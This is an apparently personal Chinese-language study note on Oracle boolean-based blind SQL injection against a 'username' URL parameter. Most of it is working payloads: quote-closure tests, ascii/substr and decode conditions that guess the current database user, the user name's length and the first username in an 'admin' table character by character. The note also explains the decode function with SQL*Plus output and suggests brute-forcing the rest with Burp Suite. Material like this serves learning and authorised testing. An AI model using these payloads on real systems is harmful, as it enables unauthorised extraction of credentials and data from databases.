0X01判断闭合
?username=SMITH' 错误 ?username=SMITH'' 正确
?username=SMITH' and ascii(substr((select user from dual),1,1))>82
那么是‘闭合
0X02基于bool的盲注 根据返回信息判断
?username=SMITH' and ascii(substr((select user from dual),1,1))>82 -- 正确
?username=SMITH' and ascii(substr((select user from dual),1,1))>83 -- 错误
那么user的第一个字母就是ascii码为83的
第二种基于bool的盲注入 decode (偷学)
decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3
当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
使用方法:
比较大小
select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值
sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1
例如:
变量1=10,变量2=20
则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。
SQL> select decode(sign(10-20),-1,10,20) from dual; DECODE(SIGN(10-20),-1,10,20) ---------------------------- 10
So 这里我们用decode进行注入
测试当前用户
select decode(user,'SYSTEM',1,0) from dual;
如果是system用户则返回1,不是则返回0.
SQL> select decode(user,'SYSTEM',1,0) from dual; DECODE(USER,'SYSTEM',1,0) ------------------------- 1 SQL> select decode(user,'SYS',1,0) from dual; DECODE(USER,'SYS',1,0) ---------------------- 0
00XA
注入点中decode盲注的应用 判断当前用户是不是‘SCOTT'
?username=SMITH' and 1=decode((select user from dual),'SCOTT',1,0) -- 正确
当前也可以用字符逐个猜解,利用到substr()函数
?username=SMITH' and 1=decode(substr((select user from dual),1,1),'S',1,0) --
获取当前用户名的长度
?username=SMITH' and 1=decode(length((select user from dual)),5,1,0) --
判断字符的字符
abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.
判断username的第一个值
?username=SMITH' and 1=decode(substr((select username from admin where rownum=1),1,1),'a',1,0) --
概知道这些函数的用法 跑脚本爆破即可 burpsuite为例
通用盲注方法 逐字猜解
?username=SMITH' and ascii(substr((select username from admin where rownum=1),1,1))=97 --
谢谢卿哥哥哥哥 爱你
又收获这么多 舒舒服服